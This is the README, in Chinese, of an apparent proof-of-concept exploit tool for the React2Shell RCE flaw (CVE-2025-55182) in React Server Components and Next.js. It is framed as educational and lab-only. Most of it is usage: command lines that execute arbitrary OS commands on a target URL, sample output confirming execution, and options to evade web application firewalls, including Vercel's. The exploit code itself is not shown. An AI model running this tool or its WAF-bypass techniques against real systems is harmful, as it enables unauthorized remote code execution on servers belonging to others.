CVE-2025-55182 – React Server Components RCE PoC
针对 Hidden Investigations React2Shell 实验室的教育性利用客户端。
本仓库包含针对 React2Shell 漏洞(CVE-2025-55182)的单主机概念验证(PoC)利用工具,该漏洞影响配置不当的 React Server Components / Next.js 应用程序。
其设计仅用于官方 Hidden Investigations React2Shell 实验室 或您明确拥有/管理的系统。
本项目严格用于教育和防御性安全研究:
使用此工具即表示您同意遵守所有适用的法律法规。
whoami)--waf-bypass,--waf-bypass-size)--vercel-waf-bypass)--insecure,自定义请求头)-o/--output,--all-results)requests通过以下命令安装依赖:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # 在 Windows 上:venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
基础帮助:
python3 react2shell-scanner.py -h
该工具需要目标 URL:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# 或
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
如果不带 -t/--target 或 -u/--url 运行,则会打印品牌帮助信息并退出。
注意: 此 PoC 仅支持单主机。
-l/--list选项存在但被有意禁用。
静默模式示例(整洁的多行输出):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
输出:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
以下参数用于模仿 Assetnote 的 CLI,但在本 PoC 中未实现以避免大规模扫描的滥用:
| 选项 | 状态 |
|---|---|
-l, --list | 未实现 |
--threads N | 未实现 |
如果使用 -l/--list,工具将打印警告并退出,建议使用 Assetnote 的原版 react2shell-scanner 进行大规模安全扫描。
对本地实验室运行:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
使用更大的垃圾字段绕过 WAF:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
同一主机多路径:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
从文件读取路径:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
安全检查模式(不执行操作系统命令):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
将 JSON 结果输出到文件:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
当使用 -o/--output 时,工具会输出一个对象数组,如下所示:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner 启发了 WAF 绕过思路。本项目基于 MIT 许可证。详见 LICENSE。
📬 联系我们:[email protected]
| 选项 | 描述 | 默认值 |
|---|
-t, --target | 目标 URL 或域名(必需,除非使用 --url) | 无 |
-u, --url | --target 的别名(Assetnote 风格参数) | 无 |
--path | 要测试的路径(可多次使用,如 /,/_next) | / |
--path-file | 包含待测试路径的文件(每行一个路径) | 无 |
| 选项 | 描述 | 默认值 |
|---|
-c, --command | 在目标上执行的命令(当利用成功时) | id |
--safe-check | 使用安全检测载荷(不执行操作系统命令,仅标记字符串) | 关闭 |
--windows | 针对 Windows 目标调整默认值(例如命令为 id 时使用 whoami) | 关闭 |
--waf-bypass | 在请求体中预先添加大量垃圾多部分字段以绕过 WAF | 关闭 |
--waf-bypass-size KB | 使用 --waf-bypass 时垃圾字段的大小(KB) | 128 |
--vercel-waf-bypass | 使用另一种多部分布局以调整 Vercel WAF 行为(简化版 PoC) | 关闭 |
| 选项 | 描述 | 默认值 |
|---|
--timeout 秒数 | 请求超时时间(秒) | 15(如果使用 --waf-bypass 且未设置超时则为 20) |
-k, --insecure | 禁用 SSL 验证(类似 curl -k) | 关闭 |
-H, --header | 自定义请求头,如 -H "X-Forwarded-For: 127.0.0.1"(可重复) | 无 |
| 选项 | 描述 | 默认值 |
|---|
-o, --output 文件 | 将 JSON 结果写入 文件 | 无 |
--all-results | 使用 --output 时,同时包含非脆弱结果 | 关闭 |
-v, --verbose | 详细模式——显示 HTTP 状态和 X-Action-Redirect 请求头 | 关闭 |
-q, --quiet | 静默模式——成功时仅打印标准化后的命令输出 | 关闭 |
--no-color | 禁用彩色终端输出 | 关闭 |